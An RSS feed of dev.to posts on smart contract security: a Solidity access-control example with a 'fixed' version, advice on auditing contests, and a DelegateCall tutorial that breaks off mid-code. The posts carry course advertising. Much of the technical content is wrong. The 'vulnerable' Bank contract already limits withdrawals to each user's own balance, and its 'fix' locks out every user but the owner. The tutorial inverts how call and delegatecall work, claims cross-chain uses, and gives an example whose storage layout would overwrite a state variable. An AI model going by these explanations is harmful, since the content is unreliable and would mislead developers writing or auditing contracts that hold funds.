<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: JohnnyTime 🤓</title>
    <description>The latest articles on DEV Community by JohnnyTime 🤓 (@johnnytime).</description>
    <link>https://dev.to/johnnytime</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F895218%2Fe9636c21-447b-4d67-a0bc-6a7ad3a70f53.png</url>
      <title>DEV Community: JohnnyTime 🤓</title>
      <link>https://dev.to/johnnytime</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/johnnytime"/>
    <language>en</language>
    <item>
      <title>Access Control Vulnerabilities in Solidity Smart Contracts</title>
      <dc:creator>JohnnyTime 🤓</dc:creator>
      <pubDate>Tue, 05 Sep 2023 08:15:31 +0000</pubDate>
      <link>https://dev.to/johnnytime/access-control-vulnerabilities-in-solidity-smart-contracts-5ce6</link>
      <guid>https://dev.to/johnnytime/access-control-vulnerabilities-in-solidity-smart-contracts-5ce6</guid>
      <description>&lt;p&gt;Master Smart Contract Hacking&lt;br&gt;
Become a smart contract hacker 😎 → &lt;a href="https://bit.ly/become-smh"&gt;https://bit.ly/become-smh&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  What is Solidity
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--apUSiRx0--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pj0ft068ndbnzj8zdtz0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--apUSiRx0--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pj0ft068ndbnzj8zdtz0.png" alt="Image description" width="800" height="339"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The Solidity programming language enables the development of Ethereum smart contracts. A smart contract defines the rules and conditions by which transactions and other interactions can take place on a blockchain. With Solidity, developers can write these contracts in a high-level language similar to JavaScript, which makes it easy to use and understand.&lt;/p&gt;

&lt;p&gt;On the Ethereum blockchain, Solidity enables developers to build and deploy smart contracts. Using these contracts, you can automate various processes and interactions, such as the transfer of assets or the execution of an agreement. The Ethereum blockchain is used by Solidity to execute these contracts, which ensures that they are transparent and cannot be altered or deleted because they are decentralized and secure.&lt;/p&gt;
&lt;h2&gt;
  
  
  Access Control Vulnerabilities
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--HHvThhX7--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/smlwhq1vojj8znkup8lo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--HHvThhX7--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/smlwhq1vojj8znkup8lo.png" alt="Image description" width="800" height="449"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Software and systems that contain access control vulnerabilities allow unauthorized users to access or modify data or functions through security flaws. A security control system determines who and what may access specific resources or perform certain actions by establishing rules and mechanisms. When these rules and mechanisms are not properly implemented, unauthorized users may bypass them and gain access to sensitive information or functionalities as a result of an access control vulnerability.&lt;/p&gt;

&lt;p&gt;It is possible for attackers to steal sensitive data, manipulate information, or disrupt the functionality of a system or application due to access control vulnerabilities. In order to prevent these vulnerabilities from occurring, developers must carefully design and implement access control mechanisms in their software and systems.&lt;/p&gt;
&lt;h2&gt;
  
  
  Access Control Vulnerabilities in Solidity
&lt;/h2&gt;

&lt;p&gt;An access control vulnerability in a Solidity smart contract is a type of security flaw that lets unauthorized users access or modify the contract’s data or functions. The Ethereum blockchain uses Solidity for smart contracts. If the contract’s code does not properly restrict access to its data or functions according to the user’s permission level, access control vulnerabilities can occur.&lt;/p&gt;
&lt;h2&gt;
  
  
  Solidity Access Control Vulnerability Example
&lt;/h2&gt;

&lt;p&gt;An example would be a contract allowing users to deposit and withdraw ether (the native currency of the Ethereum blockchain). It might have a public function called “withdraw” that lets users withdraw ether. The attacker could withdraw ether from the contract without the user’s permission if the contract does not check the user’s permission level before executing the function. Since the contract does not control access to its data and functions properly, this is an access control vulnerability.&lt;/p&gt;

&lt;p&gt;Here is an example of a Solidity smart contract with access control vulnerability:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pragma solidity ^0.5.0;

contract Bank {
    // The contract's balance of ether
    uint256 public balance;

    // A mapping that stores the balances of each user
    mapping (address =&amp;gt; uint256) public userBalances;

    // Allows users to deposit ether into their account
    function deposit(uint256 amount) public {
        // Update the user's balance
        userBalances[msg.sender] += amount;

        // Update the contract's balance
        balance += amount;
    }

    // Allows users to withdraw ether from their account
    function withdraw(uint256 amount) public {
        // Check if the user has sufficient balance
        require(userBalances[msg.sender] &amp;gt;= amount, "Insufficient balance");

        // Update the user's balance
        userBalances[msg.sender] -= amount;

        // Update the contract's balance
        balance -= amount;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this example, the Bank contract allows users to deposit and withdraw ether from their account. The contract uses a mapping called userBalances to store the balance of each user. However, this contract is vulnerable to an access control attack because the withdraw function does not properly check the user's permission level before executing. An attacker could call the withdraw function and withdraw ether from the contract without the user's permission.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fixing the Vulnerability
&lt;/h2&gt;

&lt;p&gt;To fix this vulnerability, the contract should check the user’s permission level before executing the withdraw function. For example, the contract should define a variable that stores the address of the owner and then check this variable against msg.sender in the withdraw function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pragma solidity ^0.5.0;

contract Bank {
    // The contract's balance of ether
    uint256 public balance;

    // The owner of the contract
    address public owner;

    // A mapping that stores the balances of each user
    mapping (address =&amp;gt; uint256) public userBalances;

    constructor() public {
        // Set the contract owner
        owner = msg.sender;
    }

    // Allows users to deposit ether into their account
    function deposit(uint256 amount) public {
        // Update the user's balance
        userBalances[msg.sender] += amount;

        // Update the contract's balance
        balance += amount;
    }

    // Allows users to withdraw ether from their account
    function withdraw(uint256 amount) public {
        // Check if the user is the owner of the contract
        require(msg.sender == owner, "Only the owner can withdraw");

        // Check if the user has sufficient balance
        require(userBalances[msg.sender] &amp;gt;= amount, "Insufficient balance");

        // Update the user's balance
        userBalances[msg.sender] -= amount;

        // Update the contract's balance
        balance -= amount;
    }
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this updated version of the contract, the owner variable stores the address of the contract owner, and the withdraw function checks this variable against msg.sender before allowing the withdrawal to proceed. This prevents attackers from calling the withdraw function and withdrawing ether from the contract without the user's permission.&lt;/p&gt;

&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;A smart contract’s security can be seriously compromised by access control vulnerabilities. An attacker could steal funds, manipulate data, or disrupt the contract. To ensure that their contracts are not vulnerable to access control attacks, contract developers should carefully design and test them.&lt;/p&gt;

&lt;h2&gt;
  
  
  About Ginger Security
&lt;/h2&gt;

&lt;p&gt;Ex black-hat hackers at your service — all worked for state intelligence agencies in the past (ask us about it!) 🕵️&lt;/p&gt;

&lt;p&gt;&lt;a href="https://gingersec.xyz/"&gt;Get your FREE blockchain security consultation&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Maximizing Success in Smart Contract Auditing Contests: Choosing the Right Approach</title>
      <dc:creator>JohnnyTime 🤓</dc:creator>
      <pubDate>Tue, 09 May 2023 05:50:08 +0000</pubDate>
      <link>https://dev.to/johnnytime/maximizing-success-in-smart-contract-auditing-contests-choosing-the-right-approach-4abg</link>
      <guid>https://dev.to/johnnytime/maximizing-success-in-smart-contract-auditing-contests-choosing-the-right-approach-4abg</guid>
      <description>&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--w1YuQ5Ok--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/msnhs2pzb95spq9nmzvf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--w1YuQ5Ok--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/msnhs2pzb95spq9nmzvf.png" alt="Image description" width="800" height="391"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;Smart contract auditing public contests offers exciting opportunities for Smart Contract Auditors to showcase their skills and earn rewards. &lt;/p&gt;

&lt;p&gt;Selecting the right auditing contests and adopting a strategic approach can significantly enhance your chances of success. &lt;/p&gt;

&lt;p&gt;Let's explore some practical tips and guidance to help you navigate the world of smart contract auditing effectively, including examples from popular platforms like &lt;a href="https://code4rena.com/"&gt;Code4Rena&lt;/a&gt; and &lt;a href="https://sherlock.xyz/"&gt;Sherlock&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;I've also talked about this subject with &lt;a href="https://twitter.com/pashovkrum"&gt;Pashov&lt;/a&gt;. Check out our conversation:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.youtube.com/watch?v=1anBtXQz4YA&amp;amp;ab_channel=JohnnyTime"&gt;https://www.youtube.com/watch?v=1anBtXQz4YA&amp;amp;ab_channel=JohnnyTime&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Maximizing Efficiency
&lt;/h2&gt;

&lt;p&gt;Establishing a process allows you to streamline your smart contract auditing efforts. By defining criteria for selecting audits, you can avoid falling into the trap of participating in every project that comes your way. &lt;/p&gt;

&lt;p&gt;Focus on protocols that align with your expertise and have the potential for significant impact. This approach saves time and enables you to dedicate your efforts to audits that truly matter.&lt;/p&gt;

&lt;h2&gt;
  
  
  Maximizing Learnings
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--fFpL8suT--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4qtl5378row6nfyedose.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--fFpL8suT--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4qtl5378row6nfyedose.png" alt="Image description" width="800" height="532"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A well-defined process helps you extract valuable learnings from each smart contract auditing contest. By setting objective criteria for contests, you can identify projects that provide unique learning opportunities and align with your long-term goals. It enables you to prioritize audits that challenge you, require deep expertise, and push the boundaries of your knowledge. Embracing such audits leads to substantial personal and professional growth.&lt;/p&gt;

&lt;p&gt;In addition to participating in smart contract auditing contests, if you're seeking a comprehensive, structured training program to enhance your practical smart contract hacking skills, consider exploring the &lt;a href="https://smartcontractshacking.com/"&gt;Smart Contract Hacking Course&lt;/a&gt;. This course offers over 30 chapters and 50 hands-on exercises, meticulously designed based on real-world scenarios, providing you with a systematic approach to learning and mastering the art of smart contract hacking.&lt;/p&gt;

&lt;p&gt;Taught by industry-leading auditors, the course covers a wide range of concepts and practices, catering to both beginners and advanced learners. You'll delve into topics such as flash loans, DAO and governance attacks, and Oracle manipulation. By completing the course, you'll gain proficiency in identifying and creating proof-of-concepts (PoCs) for critical security flaws in smart contracts. This expertise will make you an invaluable asset to any blockchain project and will help you succeed in Smart Contract Auditing Contests.&lt;/p&gt;

&lt;p&gt;Beyond knowledge acquisition, the Smart Contract Hacking Course opens doors to potential auditor positions. Many students view this course as an opportunity not only to expand their skills but also to unlock the chance to secure an auditor role. Additionally, you'll join a vibrant Discord community of like-minded specialists, fostering an environment for professional growth and collaboration.&lt;/p&gt;

&lt;p&gt;Whether you're looking to enhance your existing skills or embark on a journey toward becoming a proficient smart contract auditor, the Smart Contract Hacking Course provides the guidance, knowledge, and community support you need to excel in this evolving field.&lt;/p&gt;

&lt;p&gt;Get a limited-time discount using this link:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://bit.ly/sch-disocunt-2023"&gt;https://bit.ly/sch-disocunt-2023&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Minimizing Burnout
&lt;/h2&gt;

&lt;p&gt;Smart contract auditing can be demanding, especially when balancing it with other commitments, such as a full-time job. Having a process in place helps you avoid burnout by allowing you to focus on audits that truly matter to you. &lt;/p&gt;

&lt;p&gt;By carefully selecting projects that align with your criteria, you can ensure you invest your time and energy in audits that excite and challenge you. This approach helps maintain a healthy work-life balance and prevents exhaustion.&lt;/p&gt;

&lt;h2&gt;
  
  
  Crafting Your Audit Criteria
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--A-twviyq--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dzyxyrgco04ub32icz1t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--A-twviyq--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dzyxyrgco04ub32icz1t.png" alt="Image description" width="800" height="556"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Creating personalized audit criteria is vital for long-term success. Start by identifying the key factors that matter most to you. Consider aspects such as the protocol's complexity, the need for niche expertise, potential impact, alignment with your long-term goals, and personal interest. Use these criteria as a guide to select audits that offer the most value and align with your unique style of auditing.&lt;/p&gt;

&lt;p&gt;As you progress in your smart contract auditing journey, continue refining and tweaking your criteria periodically. Adapt to new challenges, technologies, and market trends. A flexible yet structured approach ensures that you remain aligned with your evolving goals and continue to derive maximum benefit from your auditing efforts.&lt;/p&gt;

&lt;p&gt;Remember, randomly choosing projects without defined criteria may yield short-term gains but hinder your long-term growth and success. Focus on quality over quantity, and let go of audits that do not meet your established criteria. By doing so, you prioritize your long-term goals and set yourself up for greater achievements as a smart contract auditor.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;In the realm of smart contract auditing, having a well-defined process is key to maximizing efficiency, learning, and preventing burnout. Craft personalized audit criteria that suit your style and goals, and stick to them. &lt;/p&gt;

&lt;p&gt;Embrace audits that challenge and excite you, while letting go of those that do not align with your established criteria. Adopting this approach will pave the way for long-term success and growth as a proficient smart contract auditor.&lt;/p&gt;

&lt;p&gt;And always remember, success in smart contract auditing is not just about the audits you undertake, but also about the ones you choose to let go.&lt;/p&gt;

</description>
      <category>smart</category>
      <category>contract</category>
      <category>auditing</category>
      <category>contests</category>
    </item>
    <item>
      <title>DelegateCall in Solidity — With Some Code Examples</title>
      <dc:creator>JohnnyTime 🤓</dc:creator>
      <pubDate>Thu, 06 Apr 2023 22:24:37 +0000</pubDate>
      <link>https://dev.to/johnnytime/delegatecall-in-solidity-with-some-code-examples-3b8h</link>
      <guid>https://dev.to/johnnytime/delegatecall-in-solidity-with-some-code-examples-3b8h</guid>
      <description>&lt;h1&gt;
  
  
  DelegateCall Solidity
&lt;/h1&gt;

&lt;p&gt;DelegateCall is a unique feature in Solidity, which allows &lt;code&gt;contract A&lt;/code&gt; to execute code in &lt;code&gt;contract B&lt;/code&gt; with &lt;code&gt;contract A&lt;/code&gt; storage, and the preserving the &lt;code&gt;msg&lt;/code&gt; (&lt;code&gt;msg.sender&lt;/code&gt;, &lt;code&gt;msg.value&lt;/code&gt;, etc..). &lt;/p&gt;

&lt;p&gt;Today, we will discuss how DelegateCall works and provide some code samples.&lt;/p&gt;

&lt;h2&gt;
  
  
  Understanding DelegateCall
&lt;/h2&gt;

&lt;p&gt;DelegateCall is a low-level Solidity opcode that allows a contract to execute code from another contract, but it using the state and the storage of the calling contract.&lt;/p&gt;

&lt;p&gt;The syntax for DelegateCall is as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;success&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;bytes&lt;/span&gt; &lt;span class="k"&gt;memory&lt;/span&gt; &lt;span class="n"&gt;returnData&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;delegatecall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bytes&lt;/span&gt; &lt;span class="k"&gt;memory&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;address&lt;/code&gt; parameter is the address of the contract to execute, and the &lt;code&gt;data&lt;/code&gt; parameter is the encoded function call to execute.&lt;/p&gt;

&lt;h2&gt;
  
  
  DelegateCall vs. Call
&lt;/h2&gt;

&lt;p&gt;The primary distinction between &lt;code&gt;call&lt;/code&gt; and &lt;code&gt;delegateCall&lt;/code&gt; is how they handle the execution context of the function. When you use &lt;code&gt;call&lt;/code&gt;, the called function executes within the context of the calling contract. This means that the called function has access to the calling contract's storage and code.&lt;/p&gt;

&lt;p&gt;On the other hand, when you use &lt;code&gt;delegateCall&lt;/code&gt;, the called function executes in the context of the calling contract's caller. This means that the called function has access to the caller's storage and code, not the calling contract's storage and code.&lt;/p&gt;

&lt;p&gt;In simple terms, &lt;code&gt;delegatecCall&lt;/code&gt; enables the called contract to access the storage and code of the calling contract's caller, whereas &lt;code&gt;call&lt;/code&gt; only permits the called contract to use the storage and code of the calling contract.&lt;/p&gt;

&lt;p&gt;The difference between &lt;code&gt;call&lt;/code&gt; and &lt;code&gt;delegateCall&lt;/code&gt; is crucial when upgrading smart contracts. By using &lt;code&gt;delegateCall&lt;/code&gt;, you can create a separate contract that contains the upgraded logic, and then call that contract from your main contract using &lt;code&gt;delegateCall&lt;/code&gt;. This way, your main contract retains its storage, and the upgraded logic is executed in the context of the calling contract's caller. This allows for seamless upgrades without losing any data.&lt;/p&gt;

&lt;h2&gt;
  
  
  DelegateCall Security
&lt;/h2&gt;

&lt;p&gt;As you continue to learn about delegateCall, it's important to gain hands-on experience and training to fully understand the potential risks and vulnerabilities of smart contracts. That's where my &lt;a href="http://bit.ly/3KB1vlL"&gt;smart contract hacking and auditing course&lt;/a&gt; comes in.&lt;/p&gt;

&lt;p&gt;This course offers high-quality &lt;strong&gt;video content&lt;/strong&gt; and &lt;strong&gt;practical hands-on exercises&lt;/strong&gt; to help you gain valuable knowledge and skills. You will learn how to identify potential security risks and vulnerabilities in smart contracts, as well as best practices for preventing and mitigating those risks. &lt;/p&gt;

&lt;p&gt;By completing this course, you will become a more knowledgeable and skilled auditor, increasing your chances of landing a job in the growing field of smart contract auditing.&lt;/p&gt;

&lt;p&gt;But the benefits don't stop there. Upon completion of the course, you'll receive a certificate to showcase your newly acquired expertise. &lt;/p&gt;

&lt;p&gt;This certificate can be a powerful tool when seeking employment opportunities, demonstrating to potential employers that you have the necessary skills and knowledge to be a successful smart contract auditor.&lt;/p&gt;

&lt;p&gt;Whether you're looking to advance your career or simply improve your understanding of smart contract security, this course is the perfect solution. Take your first step toward becoming a top-notch smart contract auditor:&lt;/p&gt;

&lt;p&gt;&lt;a href="http://bit.ly/3KB1vlL"&gt;http://bit.ly/3KB1vlL&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  DelegateCall Use Cases
&lt;/h2&gt;

&lt;p&gt;Here are some of the most common use cases for the &lt;code&gt;delegateCall&lt;/code&gt; opcode:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Proxy Contracts: &lt;code&gt;delegateCall&lt;/code&gt; is often used in proxy contracts, which forward function calls to an implementation contract. By using &lt;code&gt;delegateCall&lt;/code&gt;, the implementation contract can be upgraded without changing the address of the proxy contract, since the proxy contract's storage and state will remain unchanged.&lt;/li&gt;
&lt;li&gt;Modular Contracts: &lt;code&gt;delegateCall&lt;/code&gt; can be used to create modular contracts. In this design, each module is a separate contract that can be upgraded independently. The modules can use &lt;code&gt;delegateCall&lt;/code&gt; to interact with each other and with the main contract, allowing for greater flexibility and modularity.&lt;/li&gt;
&lt;li&gt;Gas Efficiency: &lt;code&gt;delegateCall&lt;/code&gt; can be used to reduce gas costs. It allows multiple contracts to share the same code without having to copy it into each contract. This can be particularly useful for large contracts that would otherwise exceed the gas limit.&lt;/li&gt;
&lt;li&gt;Library Contracts: &lt;code&gt;delegateCall&lt;/code&gt; can be used to implement library contracts that contain reusable code that can be called from multiple contracts. The library contract's functions are executed in the context of the calling contract's caller, allowing the library code to access the caller's storage.&lt;/li&gt;
&lt;li&gt;Cross-Chain Communication: The &lt;code&gt;delegateCall&lt;/code&gt; function can be used to enable cross-chain communication between different blockchain networks. By using &lt;code&gt;delegateCall&lt;/code&gt; to interact with a bridge contract on another blockchain, contracts on one chain can call functions on the other chain, allowing for interoperability between different blockchain networks.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  DelegateCall Examples
&lt;/h2&gt;

&lt;p&gt;Let's look at some code samples to better understand how &lt;code&gt;delegateCall&lt;/code&gt; works:&lt;/p&gt;

&lt;h3&gt;
  
  
  Example 1: How delegateCall works
&lt;/h3&gt;

&lt;p&gt;In the following example, we have two smart contracts, &lt;code&gt;Contract A&lt;/code&gt; and &lt;code&gt;Contract B&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;A&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;uint&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;setA&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint&lt;/span&gt; &lt;span class="n"&gt;_a&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;_a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;aAddress&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;uint&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;_aAddress&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;aAddress&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;_aAddress&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;setA&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint&lt;/span&gt; &lt;span class="n"&gt;_a&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;success&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;bytes&lt;/span&gt; &lt;span class="k"&gt;memory&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;aAddress&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;delegatecall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="n"&gt;abi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encodeWithSignature&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"setA(uint256)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_a&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;success&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"delegatecall failed"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;setB&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint&lt;/span&gt; &lt;span class="n"&gt;_b&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;_b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this example, &lt;code&gt;contract B&lt;/code&gt; has a state variable &lt;code&gt;aAddress&lt;/code&gt; that stores the address of &lt;code&gt;contract A&lt;/code&gt;, which has a state variable &lt;code&gt;a&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;The &lt;code&gt;setA&lt;/code&gt; function in &lt;code&gt;contract B&lt;/code&gt; uses &lt;code&gt;delegatecall&lt;/code&gt; to call the &lt;code&gt;setA&lt;/code&gt; function in &lt;code&gt;contract A&lt;/code&gt; with the context of &lt;code&gt;contract B&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;This allows &lt;code&gt;contract A&lt;/code&gt; to access the storage variables and state of &lt;code&gt;contract B&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Example 2: Gas-efficient Upgradeable Contracts
&lt;/h3&gt;

&lt;p&gt;One common use case for &lt;code&gt;delegatecall&lt;/code&gt; is to implement proxy contracts that can be upgraded (upgradeable contracts) in a gas-efficient way. &lt;/p&gt;

&lt;p&gt;The basic idea is to separate the contract state from the contract logic so that the contract logic can be upgraded without affecting the state.&lt;/p&gt;

&lt;p&gt;Here's an example of a proxy upgradable contract that uses &lt;code&gt;delegatecall&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;pragma&lt;/span&gt; &lt;span class="n"&gt;solidity&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mf"&gt;0.8&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;Proxy&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="n"&gt;_implementation&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

